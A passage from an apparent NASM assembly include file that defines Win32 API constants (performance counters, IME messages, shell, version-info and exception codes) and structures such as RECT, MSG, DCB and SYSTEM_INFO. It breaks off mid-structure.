PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_FRACTION|PERF_DISPLAY_SECONDS+PERF_AVERAGE_BASE equ PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_BASE|PERF_DISPLAY_NOSHOW|2h+PERF_AVERAGE_BULK equ PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_FRACTION|PERF_DISPLAY_NOSHOW+PERF_100NSEC_TIMER equ PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|PERF_TIMER_100NS|PERF_DELTA_COUNTER|PERF_DISPLAY_PERCENT+PERF_100NSEC_TIMER_INV equ PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|PERF_TIMER_100NS|PERF_DELTA_COUNTER|PERF_INVERSE_COUNTER|PERF_DISPLAY_PERCENT+PERF_COUNTER_MULTI_TIMER equ PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|PERF_DELTA_COUNTER|PERF_TIMER_TICK|PERF_MULTI_COUNTER|PERF_DISPLAY_PERCENT+PERF_COUNTER_MULTI_TIMER_INV equ PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_RATE|PERF_DELTA_COUNTER|PERF_MULTI_COUNTER|PERF_TIMER_TICK|PERF_INVERSE_COUNTER|PERF_DISPLAY_PERCENT+PERF_COUNTER_MULTI_BASE equ PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_BASE|PERF_MULTI_COUNTER|PERF_DISPLAY_NOSHOW+PERF_100NSEC_MULTI_TIMER equ PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_DELTA_COUNTER|PERF_COUNTER_RATE|PERF_TIMER_100NS|PERF_MULTI_COUNTER|PERF_DISPLAY_PERCENT+PERF_100NSEC_MULTI_TIMER_INV equ PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_DELTA_COUNTER|PERF_COUNTER_RATE|PERF_TIMER_100NS|PERF_MULTI_COUNTER|PERF_INVERSE_COUNTER|PERF_DISPLAY_PERCENT+PERF_RAW_FRACTION equ PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_FRACTION|PERF_DISPLAY_PERCENT+PERF_RAW_BASE equ PERF_SIZE_DWORD|PERF_TYPE_COUNTER|PERF_COUNTER_BASE|PERF_DISPLAY_NOSHOW|3h+PERF_ELAPSED_TIME equ PERF_SIZE_LARGE|PERF_TYPE_COUNTER|PERF_COUNTER_ELAPSED|PERF_OBJECT_TIMER|PERF_DISPLAY_SECONDS+PERF_COUNTER_HISTOGRAM_TYPE equ 80000000h+PERF_DETAIL_NOVICE equ 100+PERF_DETAIL_ADVANCED equ 200+PERF_DETAIL_EXPERT equ 300+PERF_DETAIL_WIZARD equ 400+PERF_NO_UNIQUE_ID equ -1+LZERROR_BADINHANDLE equ -1+LZERROR_BADOUTHANDLE equ -2+LZERROR_READ equ -3+LZERROR_WRITE equ -4+LZERROR_PUBLICLOC equ -5+LZERROR_GLOBLOCK equ -6+LZERROR_BADVALUE equ -7+LZERROR_UNKNOWNALG equ -8+VK_PROCESSKEY equ 0E5h+STYLE_DESCRIPTION_SIZE equ 32+WM_CONVERTREQUESTEX equ 108h+WM_IME_STARTCOMPOSITION equ 10Dh+WM_IME_ENDCOMPOSITION equ 10Eh+WM_IME_COMPOSITION equ 10Fh+WM_IME_KEYLAST equ 10Fh+WM_IME_SETCONTEXT equ 281h+WM_IME_NOTIFY equ 282h+WM_IME_CONTROL equ 283h+WM_IME_COMPOSITIONFULL equ 284h+WM_IME_SELECT equ 285h+WM_IME_CHAR equ 286h+WM_IME_KEYDOWN equ 290h+WM_IME_KEYUP equ 291h+IMC_GETCANDIDATEPOS equ 7h+IMC_SETCANDIDATEPOS equ 8h+IMC_GETCOMPOSITIONFONT equ 9h+IMC_SETCOMPOSITIONFONT equ 0Ah+IMC_GETCOMPOSITIONWINDOW equ 0Bh+IMC_SETCOMPOSITIONWINDOW equ 0Ch+IMC_GETSTATUSWINDOWPOS equ 0Fh+IMC_SETSTATUSWINDOWPOS equ 10h+IMC_CLOSESTATUSWINDOW equ 21h+IMC_OPENSTATUSWINDOW equ 22h+NI_OPENCANDIDATE equ 10h+NI_CLOSECANDIDATE equ 11h+NI_SELECTCANDIDATESTR equ 12h+NI_CHANGECANDIDATELIST equ 13h+NI_FINALIZECONVERSIONRESULT equ 14h+NI_COMPOSITIONSTR equ 15h+NI_SETCANDIDATE_PAGESTART equ 16h+NI_SETCANDIDATE_PAGESIZE equ 17h+ISC_SHOWUICANDIDATEWINDOW equ 1h+ISC_SHOWUICOMPOSITIONWINDOW equ 80000000h+ISC_SHOWUIGUIDELINE equ 40000000h+ISC_SHOWUIALLCANDIDATEWINDOW equ 0Fh+ISC_SHOWUIALL equ 0C000000Fh+CPS_COMPLETE equ 1h+CPS_CONVERT equ 2h+CPS_REVERT equ 3h+CPS_CANCEL equ 4h+IME_CHOTKEY_IME_NONIME_TOGGLE equ 10h+IME_CHOTKEY_SHAPE_TOGGLE equ 11h+IME_CHOTKEY_SYMBOL_TOGGLE equ 12h+IME_JHOTKEY_CLOSE_OPEN equ 30h+IME_KHOTKEY_SHAPE_TOGGLE equ 50h+IME_KHOTKEY_HANJACONVERT equ 51h+IME_KHOTKEY_ENGLISH equ 52h+IME_THOTKEY_IME_NONIME_TOGGLE equ 70h+IME_THOTKEY_SHAPE_TOGGLE equ 71h+IME_THOTKEY_SYMBOL_TOGGLE equ 72h+IME_HOTKEY_DSWITCH_FIRST equ 100h+IME_HOTKEY_DSWITCH_LAST equ 11Fh+IME_ITHOTKEY_RESEND_RESULTSTR equ 200h+IME_ITHOTKEY_PREVIOUS_COMPOSITION equ 201h+IME_ITHOTKEY_UISTYLE_TOGGLE equ 202h+GCS_COMPREADSTR equ 1h+GCS_COMPREADATTR equ 2h+GCS_COMPREADCLAUSE equ 4h+GCS_COMPSTR equ 8h+GCS_COMPATTR equ 10h+GCS_COMPCLAUSE equ 20h+GCS_CURSORPOS equ 80h+GCS_DELTASTART equ 100h+GCS_RESULTREADSTR equ 200h+GCS_RESULTREADCLAUSE equ 400h+GCS_RESULTSTR equ 800h+GCS_RESULTCLAUSE equ 1000h+CS_INSERTCHAR equ 2000h+CS_NOMOVECARET equ 4000h+IME_PROP_AT_CARET equ 10000h+IME_PROP_SPECIAL_UI equ 20000h+IME_PROP_CANDLIST_START_FROM_1 equ 40000h+IME_PROP_UNICODE equ 80000h+UI_CAP_2700 equ 1h+UI_CAP_ROT90 equ 2h+UI_CAP_ROTANY equ 4h+SCS_CAP_COMPSTR equ 1h+SCS_CAP_MAKEREAD equ 2h+SELECT_CAP_CONVERSION equ 1h+SELECT_CAP_SENTENCE equ 2h+GGL_LEVEL equ 1h+GGL_INDEX equ 2h+GGL_STRING equ 3h+GGL_PRIVATE equ 4h+GL_LEVEL_NOGUIDELINE equ 0h+GL_LEVEL_FATAL equ 1h+GL_LEVEL_ERROR equ 2h+GL_LEVEL_WARNING equ 3h+GL_LEVEL_INFORMATION equ 4h+GL_ID_UNKNOWN equ 0h+GL_ID_NOMODULE equ 1h+GL_ID_NODICTIONARY equ 10h+GL_ID_CANNOTSAVE equ 11h+GL_ID_NOCONVERT equ 20h+GL_ID_TYPINGERROR equ 21h+GL_ID_TOOMANYSTROKE equ 22h+GL_ID_READINGCONFLICT equ 23h+GL_ID_INPUTREADING equ 24h+GL_ID_INPUTRADICAL equ 25h+GL_ID_INPUTCODE equ 26h+GL_ID_INPUTSYMBOL equ 27h+GL_ID_CHOOSECANDIDATE equ 28h+GL_ID_REVERSECONVERSION equ 29h+GL_ID_PRIVATE_FIRST equ 8000h+GL_ID_PRIVATE_LAST equ 0FFFFh+IGP_PROPERTY equ 4h+IGP_CONVERSION equ 8h+IGP_SENTENCE equ 0Ch+IGP_UI equ 10h+IGP_SETCOMPSTR equ 14h+IGP_SELECT equ 18h+SCS_SETSTR equ GCS_COMPREADSTR|GCS_COMPSTR+SCS_CHANGEATTR equ GCS_COMPREADATTR|GCS_COMPATTR+SCS_CHANGECLAUSE equ GCS_COMPREADCLAUSE|GCS_COMPCLAUSE+ATTR_INPUT equ 0h+ATTR_TARGET_CONVERTED equ 1h+ATTR_CONVERTED equ 2h+ATTR_TARGET_NOTCONVERTED equ 3h+ATTR_INPUT_ERROR equ 4h+CFS_DEFAULT equ 0h+CFS_RECT equ 1h+CFS_POINT equ 2h+CFS_SCREEN equ 4h+CFS_FORCE_POSITION equ 20h+CFS_CANDIDATEPOS equ 40h+CFS_EXCLUDE equ 80h+GCL_CONVERSION equ 1h+GCL_REVERSECONVERSION equ 2h+GCL_REVERSE_LENGTH equ 3h+IME_CMODE_ALPHANUMERIC equ 0h+IME_CMODE_NATIVE equ 1h+IME_CMODE_CHINESE equ IME_CMODE_NATIVE+IME_CMODE_HANGEUL equ IME_CMODE_NATIVE+IME_CMODE_JAPANESE equ IME_CMODE_NATIVE+IME_CMODE_KATAKANA equ 2h+IME_CMODE_LANGUAGE equ 3h+IME_CMODE_FULLSHAPE equ 8h+IME_CMODE_ROMAN equ 10h+IME_CMODE_CHARCODE equ 20h+IME_CMODE_HANJACONVERT equ 40h+IME_CMODE_SOFTKBD equ 80h+IME_CMODE_NOCONVERSION equ 100h+IME_CMODE_EUDC equ 200h+IME_CMODE_SYMBOL equ 400h+IME_SMODE_NONE equ 0h+IME_SMODE_PLAURALCLAUSE equ 1h+IME_SMODE_SINGLECONVERT equ 2h+IME_SMODE_AUTOMATIC equ 4h+IME_SMODE_PHRASEPREDICT equ 8h+IME_CAND_UNKNOWN equ 0h+IME_CAND_READ equ 1h+IME_CAND_CODE equ 2h+IME_CAND_MEANING equ 3h+IME_CAND_RADICAL equ 4h+IME_CAND_STROKE equ 5h+IMN_CLOSESTATUSWINDOW equ 1h+IMN_OPENSTATUSWINDOW equ 2h+IMN_CHANGECANDIDATE equ 3h+IMN_CLOSECANDIDATE equ 4h+IMN_OPENCANDIDATE equ 5h+IMN_SETCONVERSIONMODE equ 6h+IMN_SETSENTENCEMODE equ 7h+IMN_SETOPENSTATUS equ 8h+IMN_SETCANDIDATEPOS equ 9h+IMN_SETCOMPOSITIONFONT equ 0Ah+IMN_SETCOMPOSITIONWINDOW equ 0Bh+IMN_SETSTATUSWINDOWPOS equ 0Ch+IMN_GUIDELINE equ 0Dh+IMN_PRIVATE equ 0Eh+IMM_ERROR_NODATA equ -1+IMM_ERROR_GENERAL equ -2+IME_CONFIG_GENERAL equ 1+IME_CONFIG_REGISTERWORD equ 2+IME_CONFIG_SELECTDICTIONARY equ 3+IME_ESC_QUERY_SUPPORT equ 3h+IME_ESC_RESERVED_FIRST equ 4h+IME_ESC_RESERVED_LAST equ 7FFh+IME_ESC_PRIVATE_FIRST equ 800h+IME_ESC_PRIVATE_LAST equ 0FFFh+IME_ESC_SEQUENCE_TO_INTERNAL equ 1001h+IME_ESC_GET_EUDC_DICTIONARY equ 1003h+IME_ESC_SET_EUDC_DICTIONARY equ 1004h+IME_ESC_MAX_KEY equ 1005h+IME_ESC_IME_NAME equ 1006h+IME_ESC_SYNC_HOTKEY equ 1007h+IME_ESC_HANJA_MODE equ 1008h+IME_REGWORD_STYLE_EUDC equ 1h+IME_REGWORD_STYLE_USER_FIRST equ 80000000h+IME_REGWORD_STYLE_USER_LAST equ 0FFFFh+SOFTKEYBOARD_TYPE_T1 equ 1h+SOFTKEYBOARD_TYPE_C1 equ 2h+DIALOPTION_BILLING equ 40h+DIALOPTION_QUIET equ 80h+DIALOPTION_DIALTONE equ 100h+MDMVOLFLAG_LOW equ 1h+MDMVOLFLAG_MEDIUM equ 2h+MDMVOLFLAG_HIGH equ 4h+MDMVOL_LOW equ 0h+MDMVOL_MEDIUM equ 1h+MDMVOL_HIGH equ 2h+MDMSPKRFLAG_OFF equ 1h+MDMSPKRFLAG_DIAL equ 2h+MDMSPKRFLAG_ON equ 4h+MDMSPKRFLAG_CALLSETUP equ 8h+MDMSPKR_OFF equ 0h+MDMSPKR_DIAL equ 1h+MDMSPKR_ON equ 2h+MDMSPKR_CALLSETUP equ 3h+MDM_COMPRESSION equ 1h+MDM_ERROR_CONTROL equ 2h+MDM_FORCED_EC equ 4h+MDM_CELLULAR equ 8h+MDM_FLOWCONTROL_HARD equ 10h+MDM_FLOWCONTROL_SOFT equ 20h+MDM_CCITT_OVERRIDE equ 40h+MDM_SPEED_ADJUST equ 80h+MDM_TONE_DIAL equ 100h+MDM_BLIND_DIAL equ 200h+MDM_V23_OVERRIDE equ 400h+ABM_NEW equ 0h+ABM_REMOVE equ 1h+ABM_QUERYPOS equ 2h+ABM_SETPOS equ 3h+ABM_GETSTATE equ 4h+ABM_GETTASKBARPOS equ 5h+ABM_ACTIVATE equ 6h+ABM_GETAUTOHIDEBAR equ 7h+ABM_SETAUTOHIDEBAR equ 8h+ABM_WINDOWPOSCHANGED equ 9h+ABN_STATECHANGE equ 0h+ABN_POSCHANGED equ 1h+ABN_FULLSCREENAPP equ 2h+ABN_WINDOWARRANGE equ 3h+ABS_AUTOHIDE equ 1h+ABS_ALWAYSONTOP equ 2h+ABE_LEFT equ 0+ABE_TOP equ 1+ABE_RIGHT equ 2+ABE_BOTTOM equ 3+EIRESID equ -1+FO_MOVE equ 1h+FO_COPY equ 2h+FO_DELETE equ 3h+FO_RENAME equ 4h+FOF_MULTIDESTFILES equ 1h+FOF_CONFIRMMOUSE equ 2h+FOF_SILENT equ 4h+FOF_RENAMEONCOLLISION equ 8h+FOF_NOCONFIRMATION equ 10h+FOF_WANTMAPPINGHANDLE equ 20h+FOF_ALLOWUNDO equ 40h+FOF_FILESONLY equ 80h+FOF_SIMPLEPROGRESS equ 100h+FOF_NOCONFIRMMKDIR equ 200h+PO_DELETE equ 13h+PO_RENAME equ 14h+PO_PORTCHANGE equ 20h+PO_REN_PORT equ 34h+SE_ERR_FNF equ 2+SE_ERR_PNF equ 3+SE_ERR_ACCESSDENIED equ 5+SE_ERR_OOM equ 8+SE_ERR_DLLNOTFOUND equ 32+SEE_MASK_CLASSNAME equ 1h+SEE_MASK_CLASSKEY equ 3h+SEE_MASK_IDLIST equ 4h+SEE_MASK_INVOKEIDLIST equ 0Ch+SEE_MASK_ICON equ 10h+SEE_MASK_HOTKEY equ 20h+SEE_MASK_NOCLOSEPROCESS equ 40h+SEE_MASK_CONNECTNETDRV equ 80h+SEE_MASK_FLAG_DDEWAIT equ 100h+SEE_MASK_DOENVSUBST equ 200h+SEE_MASK_FLAG_NO_UI equ 400h+NIM_ADD equ 0h+NIM_MODIFY equ 1h+NIM_DELETE equ 2h+NIF_MESSAGE equ 1h+NIF_ICON equ 2h+NIF_TIP equ 4h+SHGFI_ICON equ 100h+SHGFI_DISPLAYNAME equ 200h+SHGFI_TYPENAME equ 400h+SHGFI_ATTRIBUTES equ 800h+SHGFI_ICONLOCATION equ 1000h+SHGFI_EXETYPE equ 2000h+SHGFI_SYSICONINDEX equ 4000h+SHGFI_LINKOVERLAY equ 8000h+SHGFI_SELECTED equ 10000h+SHGFI_LARGEICON equ 0h+SHGFI_SMALLICON equ 1h+SHGFI_OPENICON equ 2h+SHGFI_SHELLICONSIZE equ 4h+SHGFI_PIDL equ 8h+SHGFI_USEFILEATTRIBUTES equ 10h+SHGNLI_PIDL equ 1h+SHGNLI_PREFIXNAME equ 2h+VS_VERSION_INFO equ 1+VS_USER_DEFINED equ 100+VS_FFI_SIGNATURE equ 0FEEF04BDh+VS_FFI_STRUCVERSION equ 10000h+VS_FFI_FILEFLAGSMASK equ 3Fh+VS_FF_DEBUG equ 1h+VS_FF_PRERELEASE equ 2h+VS_FF_PATCHED equ 4h+VS_FF_PRIVATEBUILD equ 8h+VS_FF_INFOINFERRED equ 10h+VS_FF_SPECIALBUILD equ 20h+VOS_UNKNOWN equ 0h+VOS_DOS equ 10000h+VOS_OS216 equ 20000h+VOS_OS232 equ 30000h+VOS_NT equ 40000h+VOS__BASE equ 0h+VOS__WINDOWS16 equ 1h+VOS__PM16 equ 2h+VOS__PM32 equ 3h+VOS__WINDOWS32 equ 4h+VOS_DOS_WINDOWS16 equ 10001h+VOS_DOS_WINDOWS32 equ 10004h+VOS_OS216_PM16 equ 20002h+VOS_OS232_PM32 equ 30003h+VOS_NT_WINDOWS32 equ 40004h+VFT_UNKNOWN equ 0h+VFT_APP equ 1h+VFT_DLL equ 2h+VFT_DRV equ 3h+VFT_FONT equ 4h+VFT_VXD equ 5h+VFT_STATIC_LIB equ 7h+VFT2_UNKNOWN equ 0h+VFT2_DRV_PRINTER equ 1h+VFT2_DRV_KEYBOARD equ 2h+VFT2_DRV_LANGUAGE equ 3h+VFT2_DRV_DISPLAY equ 4h+VFT2_DRV_MOUSE equ 5h+VFT2_DRV_NETWORK equ 6h+VFT2_DRV_SYSTEM equ 7h+VFT2_DRV_INSTALLABLE equ 8h+VFT2_DRV_SOUND equ 9h+VFT2_DRV_COMM equ 0Ah+VFT2_DRV_INPUTMETHOD equ 0Bh+VFT2_FONT_RASTER equ 1h+VFT2_FONT_VECTOR equ 2h+VFT2_FONT_TRUETYPE equ 3h+VFFF_ISSHAREDFILE equ 1h+VFF_CURNEDEST equ 1h+VFF_FILEINUSE equ 2h+VFF_BUFFTOOSMALL equ 4h+VIFF_FORCEINSTALL equ 1h+VIFF_DONTDELETEOLD equ 2h+VIF_TEMPFILE equ 1h+VIF_MISMATCH equ 2h+VIF_SRCOLD equ 4h+VIF_DIFFLANG equ 8h+VIF_DIFFCODEPG equ 10h+VIF_DIFFTYPE equ 20h+VIF_WRITEPROT equ 40h+VIF_FILEINUSE equ 80h+VIF_OUTOFSPACE equ 100h+VIF_ACCESSVIOLATION equ 200h+VIF_SHARINGVIOLATION equ 400h+VIF_CANNOTCREATE equ 800h+VIF_CANNOTDELETE equ 1000h+VIF_CANNOTRENAME equ 2000h+VIF_CANNOTDELETECUR equ 4000h+VIF_OUTOFMEMORY equ 8000h+VIF_CANNOTREADSRC equ 10000h+VIF_CANNOTREADDST equ 20000h+VIF_BUFFTOOSMALL equ 40000h+PROCESS_HEAP_REGION equ 1h+PROCESS_HEAP_UNCOMMITTED_RANGE equ 2h+PROCESS_HEAP_ENTRY_BUSY equ 4h+PROCESS_HEAP_ENTRY_MOVEABLE equ 10h+PROCESS_HEAP_ENTRY_DDESHARE equ 20h+SCS_32BIT_BINARY equ 0+SCS_DOS_BINARY equ 1+SCS_WOW_BINARY equ 2+SCS_PIF_BINARY equ 3+SCS_POSIX_BINARY equ 4+SCS_OS216_BINARY equ 5+LOGON32_LOGON_INTERACTIVE equ 2+LOGON32_LOGON_BATCH equ 4+LOGON32_LOGON_SERVICE equ 5+LOGON32_PROVIDER_DEFAULT equ 0+LOGON32_PROVIDER_WINNT35 equ 1+VER_PLATFORM_WIN32s equ 0+VER_PLATFORM_WIN32_WINDOWS equ 1+VER_PLATFORM_WIN32_NT equ 2+AC_LINE_OFFLINE equ 0h+AC_LINE_ONLINE equ 1h+AC_LINE_BACKUP_POWER equ 2h+AC_LINE_UNKNOWN equ 0FFh+BATTERY_FLAG_HIGH equ 1h+BATTERY_FLAG_LOW equ 2h+BATTERY_FLAG_CRITICAL equ 4h+BATTERY_FLAG_CHARGING equ 8h+BATTERY_FLAG_NO_BATTERY equ 80h+BATTERY_FLAG_UNKNOWN equ 0FFh+BATTERY_PERCENTAGE_UNKNOWN equ 0FFh+BATTERY_LIFE_UNKNOWN equ 0FFFFh+CDM_FIRST equ WM_USER+100+CDM_LAST equ WM_USER+200+CDM_GETSPEC equ CDM_FIRST+0h+CDM_GETFILEPATH equ CDM_FIRST+1h+CDM_GETFOLDERPATH equ CDM_FIRST+2h+CDM_GETFOLDERIDLIST equ CDM_FIRST+3h+CDM_SETCONTROLTEXT equ CDM_FIRST+4h+CDM_HIDECONTROL equ CDM_FIRST+5h+CDM_SETDEFEXT equ CDM_FIRST+6h+SIMULATED_FONTTYPE equ 8000h+PRINTER_FONTTYPE equ 4000h+SCREEN_FONTTYPE equ 2000h+BOLD_FONTTYPE equ 100h+ITALIC_FONTTYPE equ 200h+REGULAR_FONTTYPE equ 400h+WM_PSD_PAGESETUPDLG equ WM_USER+WM_PSD_FULLPAGERECT equ WM_USER+1+WM_PSD_MINMARGINRECT equ WM_USER+2+WM_PSD_MARGINRECT equ WM_USER+3+WM_PSD_GREEKTEXTRECT equ WM_USER+4+WM_PSD_ENVSTAMPRECT equ WM_USER+5+WM_PSD_YAFULLPAGERECT equ WM_USER+6+PSD_DEFAULTMINMARGINS equ 0h+PSD_INWININIINTLMEASURE equ 0h+PSD_MINMARGINS equ 1h+PSD_MARGINS equ 2h+PSD_INTHOUSANDTHSOFINCHES equ 4h+PSD_INHUNDREDTHSOFMILLIMETERS equ 8h+PSD_DISABLEMARGINS equ 10h+PSD_DISABLEPRINTER equ 20h+PSD_NOWARNING equ 80h+PSD_DISABLEORIENTATION equ 100h+PSD_RETURNDEFAULT equ 400h+PSD_DISABLEPAPER equ 200h+PSD_SHOWHELP equ 800h+PSD_ENABLEPAGESETUPHOOK equ 2000h+PSD_ENABLEPAGESETUPTEMPLATE equ 8000h+PSD_ENABLEPAGESETUPTEMPLATEHANDLE equ 20000h+PSD_ENABLEPAGEPAINTHOOK equ 40000h+PSD_DISABLEPAGEPAINTING equ 80000h+NM_FIRST equ 0-0+NM_LAST equ 0-99+DBG_CONTINUE equ 00010002h+DBG_TERMINATE_THREAD equ 40010003h+DBG_TERMINATE_PROCESS equ 40010004h+DBG_CONTROL_C equ 40010005h+DBG_CONTROL_BREAK equ 40010008h+DBG_EXCEPTION_NOT_HANDLED equ 80010001h+SIZE_OF_80387_REGISTERS equ 80+STATUS_WAIT_0 equ 00000000h+STATUS_ABANDONED_WAIT_0 equ 00000080h+STATUS_USER_APC equ 000000C0h+STATUS_TIMEOUT equ 00000102h+STATUS_PENDING equ 00000103h+STATUS_DATATYPE_MISALIGNMENT equ 80000002h+STATUS_BREAKPOINT equ 80000003h+STATUS_SINGLE_STEP equ 80000004h+STATUS_ACCESS_VIOLATION equ 0C0000005h+STATUS_IN_PAGE_ERROR equ 0C0000006h+STATUS_NO_MEMORY equ 0C0000017h+STATUS_ILLEGAL_INSTRUCTION equ 0C000001Dh+STATUS_NONCONTINUABLE_EXCEPTION equ 0C0000025h+STATUS_INVALID_DISPOSITION equ 0C0000026h+STATUS_ARRAY_BOUNDS_EXCEEDED equ 0C000008Ch+STATUS_FLOAT_DENORMAL_OPERAND equ 0C000008Dh+STATUS_FLOAT_DIVIDE_BY_ZERO equ 0C000008Eh+STATUS_FLOAT_INEXACT_RESULT equ 0C000008Fh+STATUS_FLOAT_INVALID_OPERATION equ 0C0000090h+STATUS_FLOAT_OVERFLOW equ 0C0000091h+STATUS_FLOAT_STACK_CHECK equ 0C0000092h+STATUS_FLOAT_UNDERFLOW equ 0C0000093h+STATUS_INTEGER_DIVIDE_BY_ZERO equ 0C0000094h+STATUS_INTEGER_OVERFLOW equ 0C0000095h+STATUS_PRIVILEGED_INSTRUCTION equ 0C0000096h+STATUS_STACK_OVERFLOW equ 0C00000FDh+STATUS_CONTROL_C_EXIT equ 0C000013Ah+EXCEPTION_CONTINUABLE equ 0+EXCEPTION_NONCONTINUABLE equ 1h+EXCEPTION_ACCESS_VIOLATION equ STATUS_ACCESS_VIOLATION+EXCEPTION_DATATYPE_MISALIGNMENT equ STATUS_DATATYPE_MISALIGNMENT+EXCEPTION_BREAKPOINT equ STATUS_BREAKPOINT+EXCEPTION_SINGLE_STEP equ STATUS_SINGLE_STEP+EXCEPTION_ARRAY_BOUNDS_EXCEEDED equ STATUS_ARRAY_BOUNDS_EXCEEDED+EXCEPTION_FLT_DENORMAL_OPERAND equ STATUS_FLOAT_DENORMAL_OPERAND+EXCEPTION_FLT_DIVIDE_BY_ZERO equ STATUS_FLOAT_DIVIDE_BY_ZERO+EXCEPTION_FLT_INEXACT_RESULT equ STATUS_FLOAT_INEXACT_RESULT+EXCEPTION_FLT_INVALID_OPERATION equ STATUS_FLOAT_INVALID_OPERATION+EXCEPTION_FLT_OVERFLOW equ STATUS_FLOAT_OVERFLOW+EXCEPTION_FLT_STACK_CHECK equ STATUS_FLOAT_STACK_CHECK+EXCEPTION_FLT_UNDERFLOW equ STATUS_FLOAT_UNDERFLOW+EXCEPTION_INT_DIVIDE_BY_ZERO equ STATUS_INTEGER_DIVIDE_BY_ZERO+EXCEPTION_INT_OVERFLOW equ STATUS_INTEGER_OVERFLOW+EXCEPTION_PRIV_INSTRUCTION equ STATUS_PRIVILEGED_INSTRUCTION+EXCEPTION_IN_PAGE_ERROR equ STATUS_IN_PAGE_ERROR+CONTEXT_i386 equ 00010000h+CONTEXT_i486 equ 00010000h+CONTEXT_CONTROL equ CONTEXT_i386|00000001h+CONTEXT_INTEGER equ CONTEXT_i386|00000002h+CONTEXT_SEGMENTS equ CONTEXT_i386|00000004h+CONTEXT_FLOATING_POINT equ CONTEXT_i386|00000008h+CONTEXT_DEBUG_REGISTERS equ CONTEXT_i386|00000010h+CONTEXT_FULL equ CONTEXT_CONTROL|CONTEXT_INTEGER|CONTEXT_SEGMENTS+IMAGE_DIRECTORY_ENTRY_EXPORT equ 0+IMAGE_DIRECTORY_ENTRY_IMPORT equ 1+IMAGE_DIRECTORY_ENTRY_RESOURCE equ 2+IMAGE_DIRECTORY_ENTRY_EXCEPTION equ 3+IMAGE_DIRECTORY_ENTRY_SECURITY equ 4+IMAGE_DIRECTORY_ENTRY_BASERELOC equ 5+IMAGE_DIRECTORY_ENTRY_DEBUG equ 6+IMAGE_DIRECTORY_ENTRY_COPYRIGHT equ 7+IMAGE_DIRECTORY_ENTRY_GLOBALPTR equ 8+IMAGE_DIRECTORY_ENTRY_TLS equ 9+IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG equ 10+IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT equ 11+IMAGE_DIRECTORY_ENTRY_IAT equ 12+IMAGE_NUMBEROF_DIRECTORY_ENTRIES equ 16+IMAGE_BITMAP equ 0+IMAGE_ICON equ 1+IMAGE_CURSOR equ 2+IMAGE_ENHMETAFILE equ 3+PROCESSOR_INTEL_386 equ 386+PROCESSOR_INTEL_486 equ 486+PROCESSOR_INTEL_PENTIUM equ 586+PROCESSOR_MIPS_R4000 equ 4000+PROCESSOR_ALPHA_21064 equ 21064+;-----------------------win32api structures-----------------------------+STRUC RECT+.left RESD 1+.top RESD 1+.right RESD 1+.bottom RESD 1+ENDSTRUC++STRUC POINT+.x RESD 1+.y RESD 1+ENDSTRUC++STRUC SIZEL+.x RESD 1+.y RESD 1+ENDSTRUC++STRUC MSG+.hwnd RESD 1+.message RESD 1+.wParam RESD 1+.lParam RESD 1+.time RESD 1+.pt RESB POINT_size+ENDSTRUC++STRUC SID_AND_ATTRIBUTES+.Sid RESD 1+.Attributes RESD 1+ENDSTRUC++STRUC SID_IDENTIFIER_AUTHORITY+.Value RESB 1+ENDSTRUC++STRUC OVERLAPPED+.Internal RESD 1+.InternalHigh RESD 1+.loffset RESD 1+.OffsetHigh RESD 1+.hEvent RESD 1+ENDSTRUC++STRUC SECURITY_ATTRIBUTES+.niLength RESD 1+.lpSecurityDescriptor RESD 1+.bInheritHandle RESD 1+ENDSTRUC++STRUC PROCESS_INFORMATION+.hProcess RESD 1+.hThread RESD 1+.dwProcessId RESD 1+.dwThreadId RESD 1+ENDSTRUC++STRUC FILETIME+.dwLowDateTime RESD 1+.dwHighDateTime RESD 1+ENDSTRUC++STRUC SYSTEMTIME+.wYear RESW 1+.wMonth RESW 1+.wDayOfWeek RESW 1+.wDay RESW 1+.wHour RESW 1+.wMinute RESW 1+.wSecond RESW 1+.wMilliseconds RESW 1+ENDSTRUC++STRUC COMMPROP+.wPacketiLength RESW 1+.wPacketVersion RESW 1+.dwServiceMask RESD 1+.dwReserved1 RESD 1+.dwMaxTxQueue RESD 1+.dwMaxRxQueue RESD 1+.dwMaxBaud RESD 1+.dwProvSubType RESD 1+.dwProvCapabilities RESD 1+.dwSettableParams RESD 1+.dwSettableBaud RESD 1+.wSettableData RESW 1+.wSettableStopParity RESW 1+.dwCurrentTxQueue RESD 1+.dwCurrentRxQueue RESD 1+.dwProvSpec1 RESD 1+.dwProvSpec2 RESD 1+.wcProvChar RESW 1+ENDSTRUC++STRUC COMSTAT+.fCtsHold RESD 1+.fDsrHold RESD 1+.fRlsdHold RESD 1+.fXoffHold RESD 1+.fXoffSent RESD 1+.fEof RESD 1+.fTxim RESD 1+.fReserved RESD 1+.cbInQue RESD 1+.cbOutQue RESD 1+ENDSTRUC++STRUC DCB+.DCBlength RESD 1+.BaudRate RESD 1+.fbits RESD 1+.wReserved RESW 1+.XonLim RESW 1+.XoffLim RESW 1+.ByteSize RESB 1+.Parity RESB 1+.StopBits RESB 1+.XonChar RESB 1+.XoffChar RESB 1+.ErrorChar RESB 1+.EofChar RESB 1+.EvtChar RESB 1+ENDSTRUC++STRUC COMMTIMEOUTS+.ReadIntervalTimeout RESD 1+.ReadTotalTimeoutMultiplier RESD 1+.ReadTotalTimeoutConstant RESD 1+.WriteTotalTimeoutMultiplier RESD 1+.WriteTotalTimeoutConstant RESD 1+ENDSTRUC++STRUC SYSTEM_INFO+.dwOemID RESD 1+.dwPageSize RESD 1+.lpMinimumApplicationAddress RESD 1+.lpMaximumApplicationAddress RESD 1+.dwActiveProcessorMask RESD 1+.dwNumberOrfProcessors RESD 1+.dwProcessorType RESD 1+.dwAllocationGranularity RESD 1+.wProcessorLevel RESW 1+.wProcessorRevision RESW 1+ENDSTRUC++STRUC MEMORYSTATUS+.dwiLength RESD 